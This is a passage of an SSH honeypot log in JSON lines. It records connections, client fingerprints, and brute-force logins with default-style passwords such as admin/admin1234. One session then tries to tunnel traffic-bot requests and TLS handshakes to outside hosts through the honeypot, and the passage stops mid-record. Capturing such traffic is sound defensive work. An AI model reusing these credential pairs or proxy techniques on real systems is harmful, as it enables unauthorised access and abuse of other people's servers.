@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:31.247742Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:32.423762Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":57506,"dst_ip":"10.17.0.5","dst_port":22,"session":"1862c2402d2c","protocol":"ssh","message":"New connection: 173.208.188.210:57506 (10.17.0.5:22) [session: 1862c2402d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:38.125408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:38.131077Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:38.295750Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59618,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae266c4451ef","protocol":"ssh","message":"New connection: 27.71.230.31:59618 (10.17.0.5:22) [session: ae266c4451ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:40.604379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:41.199157Z","src_ip":"27.71.230.31","session":"ae266c4451ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:41.250098Z","src_ip":"173.208.188.210","session":"1862c2402d2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:42.057949Z","src_ip":"27.71.230.31","session":"ae266c4451ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.726989Z","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.731493Z","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12!","message":"login attempt [root/Admin12!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.811198Z","src_ip":"27.71.230.31","session":"ae266c4451ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.823322Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-T517) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VWVhZCZuK3ElbEYkRGh2QQ%3D%3DEhEO3i05HPXNLkKXpOHFYVwrblGl%2F1MRUkXwKnNQxhAg8llEo8SjgjPETPbQsKxB0DDJ7HTApxw0QzHxyfbCa4p1EITzYV538FjRuMT1izm6ZKDlwc578XtNPlyEGlOLyUvTmBrWe0TQM%2FKq%2BU76gGhaDeSLJUHfTpoFIp%2F25xP6phpvlJ7o90W6nVFq%2BQrtide88GI2Fshpb8raj60wfDQSAQqOPGI1onkChbX%2FUWrkWRPklxv1sDlGWPPjcn8qbs3L5Yp1Hy%2BzilySO7l0sixNBc%2BRhdSI9fvItI3qDn9DPZmILjTt725%2B4ZExvze2Pp7agSOZIA1tUjzfbJFIDE4oupFyxxuVwk6Vo4wm2Mzu6CsxqM1EmmTJ7tsgJ4NTpIpkb1gjANCziMtV2HYiLaItMP4VDhLhxTDNXZW7kjKUH3eXsRye7eqj6clZ0VqMrOX36e587lmUtO7lFjDWsWh8Txb9pH5U9DGPAdO7DzsnySvvfBAIYYRqqmA%2Fb53eNbQ1b8XFg5t7JRhxvfLvf6ghpRo2tH%2BHJmRxNZXlPNDoetyxRX8VzwTmRyOjv%2FYNBkvoCfxn9DRYWlOJmiOqwtUA888ghE9WqsooYUTfV%2FCT5h2mU1wsPVZpLpi%2BQKsLYJrE4NvBlpFeH4M%2FlLY1c8kfEYKwZqdo7VquUct%2F5VN3pazciFgyiBHOLes5i59wBX12vx4XEuk4pol8d0a0pWNYQ5dxmZ%2FRsXO5bxZp9rR%2FnapuFboWnhzlDIiaYH5TFNJnf287rQDqmnrI94XS0wTmqRzpCUpyxn5nssf1q%2BbADEtS5J8GIJ2UUAlkFElB06mYXk3UCkX8pAOpl3lYZw56VRTOzVVe5ZVT43S%2F83wkA%2BXF%2BApkDrVrBg1561PW6kFG0iatsMV2sIYZo7rTp0oiWf9vORYjOyls41B6Swkb6Xbnbt15A90SBMfMBbjfkDtmqA%2FmU89zOpO1Yp10ZG567kbNwAJh%2BtYliKOE37elHcqbJcf28MblrZB3E1duKS68cWdjgryo%2FjNXgWu6aqvf5PbHgAsBCxr97U3aogGLoJwSIQmzQza9N8X2itQj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-T517) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VWVhZCZuK3ElbEYkRGh2QQ%3D%3DEhEO3i05HPXNLkKXpOHFYVwrblGl%2F1MRUkXwKnNQxhAg8llEo8SjgjPETPbQsKxB0DDJ7HTApxw0QzHxyfbCa4p1EITzYV538FjRuMT1izm6ZKDlwc578XtNPlyEGlOLyUvTmBrWe0TQM%2FKq%2BU76gGhaDeSLJUHfTpoFIp%2F25xP6phpvlJ7o90W6nVFq%2BQrtide88GI2Fshpb8raj60wfDQSAQqOPGI1onkChbX%2FUWrkWRPklxv1sDlGWPPjcn8qbs3L5Yp1Hy%2BzilySO7l0sixNBc%2BRhdSI9fvItI3qDn9DPZmILjTt725%2B4ZExvze2Pp7agSOZIA1tUjzfbJFIDE4oupFyxxuVwk6Vo4wm2Mzu6CsxqM1EmmTJ7tsgJ4NTpIpkb1gjANCziMtV2HYiLaItMP4VDhLhxTDNXZW7kjKUH3eXsRye7eqj6clZ0VqMrOX36e587lmUtO7lFjDWsWh8Txb9pH5U9DGPAdO7DzsnySvvfBAIYYRqqmA%2Fb53eNbQ1b8XFg5t7JRhxvfLvf6ghpRo2tH%2BHJmRxNZXlPNDoetyxRX8VzwTmRyOjv%2FYNBkvoCfxn9DRYWlOJmiOqwtUA888ghE9WqsooYUTfV%2FCT5h2mU1wsPVZpLpi%2BQKsLYJrE4NvBlpFeH4M%2FlLY1c8kfEYKwZqdo7VquUct%2F5VN3pazciFgyiBHOLes5i59wBX12vx4XEuk4pol8d0a0pWNYQ5dxmZ%2FRsXO5bxZp9rR%2FnapuFboWnhzlDIiaYH5TFNJnf287rQDqmnrI94XS0wTmqRzpCUpyxn5nssf1q%2BbADEtS5J8GIJ2UUAlkFElB06mYXk3UCkX8pAOpl3lYZw56VRTOzVVe5ZVT43S%2F83wkA%2BXF%2BApkDrVrBg1561PW6kFG0iatsMV2sIYZo7rTp0oiWf9vORYjOyls41B6Swkb6Xbnbt15A90SBMfMBbjfkDtmqA%2FmU89zOpO1Yp10ZG567kbNwAJh%2BtYliKOE37elHcqbJcf28MblrZB3E1duKS68cWdjgryo%2FjNXgWu6aqvf5PbHgAsBCxr97U3aogGLoJwSIQmzQza9N8X2itQj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.827216Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.833855Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xb70\\x8ej\\xeb\\xb6\\xd6\\xc13\\x87\\x17\\x15\\xff\\xfc\\x9b\\x03\\x16\\xcb\\xc1\\\\\\xfe\\xd1\\xe3\\'N*n\\x86\\x95\\xa23 \\x0f;\\xbd\\xf9Tt\\xbf\\x82|\\xa8[\\xa0\"\\xc7\\x13\\x05\\xceE,\\xbb2;\\x98i\\r\\x13\\x1348\\x92\\xe4p\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 J\\xfe!\\xda\\xd3E\\x9d/KPy\\x98\\xe7f\\xc359c\\reS\\xfa\\xdc\\xdc1^4}H\\x8d\\xe3\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\xb70\\x8ej\\xeb\\xb6\\xd6\\xc13\\x87\\x17\\x15\\xff\\xfc\\x9b\\x03\\x16\\xcb\\xc1\\\\\\xfe\\xd1\\xe3\\'N*n\\x86\\x95\\xa23 \\x0f;\\xbd\\xf9Tt\\xbf\\x82|\\xa8[\\xa0\"\\xc7\\x13\\x05\\xceE,\\xbb2;\\x98i\\r\\x13\\x1348\\x92\\xe4p\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 J\\xfe!\\xda\\xd3E\\x9d/KPy\\x98\\xe7f\\xc359c\\reS\\xfa\\xdc\\xdc1^4}H\\x8d\\xe3\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:45.842129Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.226380Z","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:46.295178Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\x97pF\\xe55b:\\xb3\\x8e\\x9ei[\\x88\\xa6\\xff3.*\\xab-\\x93\\xec\\xc2P\\xc9\\x17&\\xcd2\\xf1q \\xf9\\xce\\xb4O\\xe2\\x14m\\x86\\xe11\\xe7\\xbbQV\\xb7\\xfb\\xb7S\\x1a+\\xef#g\\x83\\xd7\\x83\\x8b\\x85\\x18\\xf6\\x10a\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x12\\x9cqF\\x1a\\x8a\\xd7\\xc5\\xae\\xb3zh\\xc8C\\xf4\\xa4u\\xdf\\xb7\\xc5\\x0e\\xf0\\xde\\xfa\\xc0?-\\xd9\\t\\xd46\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x04\\x97pF\\xe55b:\\xb3\\x8e\\x9ei[\\x88\\xa6\\xff3.*\\xab-\\x93\\xec\\xc2P\\xc9\\x17&\\xcd2\\xf1q \\xf9\\xce\\xb4O\\xe2\\x14m\\x86\\xe11\\xe7\\xbbQV\\xb7\\xfb\\xb7S\\x1a+\\xef#g\\x83\\xd7\\x83\\x8b\\x85\\x18\\xf6\\x10a\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 